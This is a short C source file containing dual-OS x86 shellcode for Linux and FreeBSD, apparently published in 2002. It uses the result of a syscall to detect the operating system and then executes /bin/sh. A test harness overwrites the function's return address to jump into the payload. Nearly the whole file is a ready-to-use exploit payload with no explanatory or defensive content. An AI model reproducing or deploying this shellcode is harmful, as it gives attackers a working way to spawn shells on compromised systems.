/*
 * This is shellcode that can be executed on both Linux and FreeBSD
 * It uses te return value of syscall 39 to determine the os and will 
 * then point to the correct instructions.
 * 
 * Coded by zillion (safemode.org 18/04/2002)
 *
 */



char shellcode[] =
        "\x31\xc0\x31\xdb\xb0\x27\xcd\x80\x85\xc0\x78\x1e\xeb\x0e\x5e"
        "\x31\xc0\x88\x46\x07\x50\x50\x56\xb0\x3b\x50\xcd\x80\xe8\xed"
        "\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\xeb\x31\xeb\x1a\x5e"
        "\x31\xc0\x88\x46\x07\x8d\x1e\x89\x5e\x08\x89\x46\x0c\xb0\x0b"
        "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe1\xff\xff\xff"
        "\x2f\x62\x69\x6e\x2f\x73\x68\x23\x41\x41\x41\x41\x42\x42\x42"
        "\x42\x31\xc0\xb0\x01\xcd\x80";

int main()
{

  int *ret;
  ret = (int *)&ret + 2;
  (*ret) = (int)shellcode;
}